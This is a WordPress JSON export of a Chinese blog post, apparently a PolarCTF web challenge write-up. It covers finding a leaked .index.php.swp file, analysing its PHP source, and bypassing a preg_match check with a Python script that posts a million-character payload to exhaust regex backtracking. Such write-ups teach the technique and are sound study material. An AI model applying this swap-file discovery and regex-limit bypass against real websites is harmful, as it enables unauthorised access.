{"id":2292,"date":"2025-04-04T16:24:36","date_gmt":"2025-04-04T08:24:36","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2292"},"modified":"2025-04-04T16:24:37","modified_gmt":"2025-04-04T08:24:37","slug":"swp","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/04\/swp\/","title":{"rendered":"swp"},"content":{"rendered":"

\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n

\"Pasted<\/div>
\n\u6839\u636e\u9898\u76ee\u63d0\u793a\uff0c\u6709.swp\u6587\u4ef6<\/p>\n

\u4e8c\u3001\u8fdb\u884c\u76ee\u5f55\u626b\u63cf<\/h1>\n

\"Pasted<\/div>
\n\u53d1\u73b0.index.php.swp\u76ee\u5f55<\/p>\n

\u4e09\u3001\u8bbf\u95ee<\/h1>\n

\u53d1\u73b0\u4ee3\u7801
\n\"Pasted<\/p>\n

\u56db\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n
 \nfunction jiuzhe($xdmtql){ \/\/\u63a5\u53d7\u4e00\u4e2axdmtql\u53d8\u91cf\n    return preg_match('\/sys.*nb\/is',$xdmtql); \/\/\u5339\u914d\u53d8\u91cf\n}\n \n$xdmtql=@$_POST['xdmtql']; \/\/\u5224\u65ad\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u7ec4\u7c7b\u578b\uff0c\u4e0d\u4e3a\u6570\u7ec4\u7c7b\u578b\u5f80\u4e0b\u5224\u65ad\nif(!is_array($xdmtql)){  \/\/\u5229\u7528jiuzhe\u51fd\u6570\u8fdb\u884c\u5339\u914d\u8f93\u5165\u7684\u503c\n    if(!jiuzhe($xdmtql)){\n        if(strpos($xdmtql,'sys nb')!==false){  \/\/\u7ed5\u8fc7 preg_match\u51fd\u6570\u540e\u5339\u914d\u53d8\u91cf\uff0c\u5339\u914d\u5230\u7684\u8bdd\u8f93\u51faflag\n            echo 'flag{*******}';\n        }else{\n            echo 'true .swp file?';\n        }\n    }else{\n        echo 'nijilenijile';  \/\/\u5339\u914d\u5230\/sys.*nb\/is\u7684\u8bdd\u8f93\u51fa\n    }\n}\n<\/code><\/pre>\n
\u8981\u83b7\u5f97flag\uff0c\u9700\u8981\u7ed5\u8fc7\u6b63\u5219\u5339\u914d\uff0c\u5e76\u4e14\u8981\u6709sys nb\u5b57\u6bb5\uff0c\u53ef\u4ee5\u60f3\u5230\u4f7f\u7528\u56de\u6eaf\u7ed5\u8fc7<\/p>\n
\u4e94\u3001\u6784\u9020\u811a\u672c<\/h1>\n
import requests  \n  \ndata = {"xdmtql": "sys nb" + "a" * 1000000}  \nres = requests.post('http:\/\/c13646b4-eb90-4b10-b582-005f5ca65aec.www.polarctf.com:8090\/', data=data,  \n                    allow_redirects=False)  \nprint(res.content)\n<\/code><\/pre>\n
\"Pasted<\/div>
\n\u6210\u529f\u83b7\u53d6flag<\/p>\n
\u603b\u7ed3<\/h1>\n
    \n
  • \u6b63\u5219\u5339\u914d\u7684\u56de\u6eaf\u7ed5\u8fc7\uff1a\u901a\u8fc7\u589e\u52a0\u5927\u91cf\u56de\u6eaf\u6b21\u6570\u7ed5\u8fc7<\/li>\n
  • \u76ee\u5f55\u626b\u63cf<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"
    \u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u6839\u636e\u9898\u76ee\u63d0\u793a\uff0c\u6709.swp\u6587\u4ef6 \u4e8c\u3001\u8fdb\u884c\u76ee\u5f55\u626b\u63cf \u53d1\u73b0.index.php.swp\u76ee\u5f55 \u4e09\u3001\u8bbf\u95ee  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,68],"tags":[69,62],"class_list":["post-2292","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-polarctf","tag-69","tag-62"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2292"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2292\/revisions"}],"predecessor-version":[{"id":2293,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2292\/revisions\/2293"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2292"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}